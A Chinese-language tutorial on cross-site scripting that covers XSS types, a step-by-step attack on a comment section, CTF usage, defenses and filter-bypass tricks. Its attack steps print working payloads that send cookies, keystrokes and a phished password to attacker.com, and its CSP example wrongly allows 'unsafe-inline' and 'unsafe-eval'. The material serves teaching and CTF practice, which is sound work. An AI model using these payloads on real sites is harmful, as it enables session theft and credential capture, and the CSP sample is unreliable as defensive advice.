当前位置: 首页 > news >正文

XSS攻击(跨站脚本攻击)详解与实战

文章目录

    • 一、什么是XSS?
    • 二、XSS分类与场景
    • 三、XSS攻击实战流程
    • 四、CTF中的XSS利用
    • 五、XSS防御方案
    • 六、绕过过滤的常见技巧
    • 七、实战练习资源

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
    • 影响范围:所有访问受影响页面的用户。
    • 示例
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
      
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
    • 触发条件:用户需点击构造的恶意链接。
    • 示例
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
      
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景:通过location.hashdocument.write等动态修改DOM。

    • 示例

      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
      

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    <script>alert(1)</script>
    
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
    
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>
    

步骤4:键盘记录

  • 监听用户输入并回传数据:

    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>
    

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
      
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      <img src=x onerror="alert(1)">
      
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
      

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
      
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
      
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      Set-Cookie: session=abc123; HttpOnly; Secure
      
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    <ScRiPt>alert(1)</sCriPt>
    
  2. 编码绕过

    • HTML实体编码:

      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
      
    • JavaScript Unicode编码:

      \u0061\u006c\u0065\u0072\u0074(1)
      
  3. 利用标签属性

    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">
    

七、实战练习资源

  1. PortSwigger XSS Labs
    • 地址:https://portswigger.net/web-security/cross-site-scripting
  2. XSS挑战游戏
    • XSS Game(Google):https://xss-game.appspot.com
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

相关文章:

XSS攻击(跨站脚本攻击)详解与实战

文章目录 一、什么是XSS&#xff1f;二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS&#xff1f; XSS&#xff08;Cross-Site Scripting&#xff09; 是一种通过向网页注入恶意脚本&#xff08…...

【C++指南】类和对象(十):const成员函数

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C指南》 期待您的关注 目录 引言 一、const成员函数的定义与语法 1. 基本语法 2. 底层原理 二、const成员函数的作用与约束…...

数值分析与科学计算导引——误差与算法举例

文章目录 第一章 数值分析与科学计算导引1.1 数值分析的对象、作用与特点数值分析的对象数值分析的作用数值分析的特点 1.2 数值计算的误差误差分类误差与有效数字数值运算的误差估计 1.3 算法举例秦九韶算法求多项式值开根号迭代算法牛顿切线加权平均的松弛技术 第一章 数值分…...

ubuntu安装docker 无法拉取问题

sudo docker run hello-world [sudo] ubuntu 的密码&#xff1a; Unable to find image hello-world:latest locally docker: Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline exceeded (Client.Timeout exceeded while awai…...

【C++项目】Rpc通信框架设计

目录 Rpc远程调用的思想 项目框架设计 服务端模块划分 网络通信模块 Network 应用层通信协议模块 Protocol 消息分发处理模块 Dispatcher 远程调用路由功能模块 RpcRouter ​编辑 发布订阅功能模块 Publish-Subscribe 服务注册/发现/上线/下线功能模块 Registry-Disc…...

八股取士--dockerk8s

一、Docker 基础 Docker 和虚拟机的区别是什么&#xff1f; 答案&#xff1a; 虚拟机&#xff08;VM&#xff09;&#xff1a;虚拟化硬件&#xff0c;每个 VM 有独立操作系统&#xff0c;资源占用高&#xff0c;启动慢。Docker&#xff1a;容器化应用&#xff0c;共享宿主机内核…...

Autojs: 使用 SQLite

例子 let db new SQLiteUtil("/sdcard/A_My_DB/sqlite.db");db.fastCreateTable("user_table",{name: "",online: false,},["name"] // 设置 name 为唯一, 重复项 不会添加成功 );// 新增数据的 ID let row_id db.insert("use…...

思科、华为、H3C常用命令对照表

取消/关闭 思科no华为undo华三undo 查看 思科show华为display华三display 退出 思科exit华为quit华三quit 设备命名 思科hostname华为sysname华三sysname 进入全局模式 思科enable、config terminal华为system-view华三system-view 删除文件 思科delete华为delete华…...

解决 `pip is configured with locations that require TLS/SSL` 错误

问题描述 在使用 pip 安装 Python 包时&#xff0c;可能会遇到以下错误&#xff1a; WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.这意味着 Python 的 ssl 模块未正确安装或配置&#xff0c;导致 p…...

2025-arXiv-OmniThink:通过思考扩展机器写作的知识边界

arXiv | https://arxiv.org/abs/2501.09751 GitHub | https://github.com/zjunlp/OmniThink 项目主页 | https://zjunlp.github.io/project/OmniThink/ ModelScope 在线 Demo | https://www.modelscope.cn/studios/iic/OmniThink 摘要&#xff1a; 大语言模型驱动的机器写作通…...

【广州大学主办,发表有保障 | IEEE出版,稳定EI检索,往届见刊后快至1个月检索】第二届电气技术与自动化工程国际学术会议 (ETAE 2025)

第二届电气技术与自动化工程国际学术会议 (ETAE 2025) The 2nd International Conference on Electrical Technology and Automation Engineering 大会官网&#xff1a;http://www.icetae.com/【更多详情】 会议时间&#xff1a;2025年4月25-27日 会议地点&#xff1a…...

机器学习:01数学基础教程

函数 极限 按照一定次数排列的一列数:“&#xff0c;“,…,"…&#xff0c;其中u 叫做通项。 对于数列{Un}如果当n无限增大时&#xff0c;其通项无限接近于一个常数A&#xff0c;则称该数列以A为极限或称数列收敛于A&#xff0c;否则称数列为发散&#xff0c; 极限值 左…...

仿叮咚买菜鸿蒙原生APP

# DingdongShopping 这是一个原生鸿蒙版的仿叮咚买菜APP项目 鸿蒙Next发布至今已经有一年多的时间了&#xff0c;但有时候我们想要实现一些复杂的功能或者效果&#xff0c;在开发文档上查阅一些资料还是比较费时的&#xff0c;有可能还找不到我们想要的内容。而社会层面上分享…...

WordPress“更新失败,响应不是有效的JSON响应”问题的修复

在使用WordPress搭建网站时&#xff0c;许多人在编辑或更新文章时&#xff0c;可能会遇到一个提示框&#xff0c;显示“更新失败&#xff0c;响应不是有效的JSON响应”。这个提示信息对于不了解技术细节的用户来说&#xff0c;太难懂。其实&#xff0c;这个问题并不复杂&#x…...

kotlin的onFailure: () -> Unit

‌在Kotlin中&#xff0c;onFailure: () -> Unit表示一个没有参数且返回类型为Unit的函数。‌ 在Kotlin中&#xff0c;Unit类型用于表示那些没有返回值的函数。具体来说&#xff0c;() -> Unit表示一个没有参数的函数&#xff0c;其返回类型为Unit。这种函数通常用于表示…...

通过网线将Keysight DSOX4154A示波器信号传输至电脑的Step

一、硬件连接 连接网线 使用标准以太网线&#xff08;Cat5e或更高&#xff09;连接示波器背面的 LAN端口 至电脑或同一局域网的交换机/路由器。 二、示波器网络配置 进入网络设置菜单 点击示波器前面板右上角 【Utility】 → 【I/O】 → 【LAN Settings】。 配置IP地址 自…...

midjourney 一 prompt 提示词

midjourney 不需要自然语言的描述&#xff0c;它只需要关键词即可。 一个完整的Midjourney prompt通常包括三个部分 图片提示&#xff08;Image Prompts&#xff09;、文本提示&#xff08;Text Prompt&#xff09;和参数&#xff08;Parameters&#xff09;。 1、图片提示(…...

微信小程序 - 网络请求基础路径集中管理(基础路径集中管理策略、动态切换基础路径)

一、基础路径集中管理 在微信小程序项目开发中&#xff0c;经常会将请求的基础路径集中管理 这样可以避免在多个页面中重复定义&#xff0c;同时也方便后续维护与修改 二、基础路径集中管理策略 1、使用全局变量 微信小程序提供了 App 对象&#xff0c;可以在 app.js 中定义…...

C#的委托delegate与事件event

在C#中&#xff0c;delegate&#xff08;委托&#xff09;和 event&#xff08;事件&#xff09;是两个非常重要的概念&#xff0c;它们主要用于实现回调机制和事件驱动编程。下面详细介绍它们的原理和使用场景。 1. Delegate&#xff08;委托&#xff09; 1.1 委托的原理 委托…...

apache artemis安装

安装apache artemis https://xxzkid.github.io/2025/apache-artemis-install...

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周&#xff0c;有很多同学在写期末Java web作业时&#xff0c;运行tomcat出现乱码问题&#xff0c;经过多次解决与研究&#xff0c;我做了如下整理&#xff1a; 原因&#xff1a; IDEA本身编码与tomcat的编码与Windows编码不同导致&#xff0c;Windows 系统控制台…...

React Native 开发环境搭建(全平台详解)

React Native 开发环境搭建&#xff08;全平台详解&#xff09; 在开始使用 React Native 开发移动应用之前&#xff0c;正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南&#xff0c;涵盖 macOS 和 Windows 平台的配置步骤&#xff0c;如何在 Android 和 iOS…...

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动&#xff08;如演唱会、马拉松赛事、高考中考等&#xff09;期间&#xff0c;城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例&#xff0c;暖城商圈曾因观众集中离场导致周边…...

Mac软件卸载指南,简单易懂!

刚和Adobe分手&#xff0c;它却总在Library里给你写"回忆录"&#xff1f;卸载的Final Cut Pro像电子幽灵般阴魂不散&#xff1f;总是会有残留文件&#xff0c;别慌&#xff01;这份Mac软件卸载指南&#xff0c;将用最硬核的方式教你"数字分手术"&#xff0…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

04-初识css

一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

&#x1f50d; 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术&#xff0c;可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势&#xff0c;还能有效评价重大生态工程…...

12.找到字符串中所有字母异位词

&#x1f9e0; 题目解析 题目描述&#xff1a; 给定两个字符串 s 和 p&#xff0c;找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义&#xff1a; 若两个字符串包含的字符种类和出现次数完全相同&#xff0c;顺序无所谓&#xff0c;则互为…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...

多种风格导航菜单 HTML 实现(附源码)

下面我将为您展示 6 种不同风格的导航菜单实现&#xff0c;每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...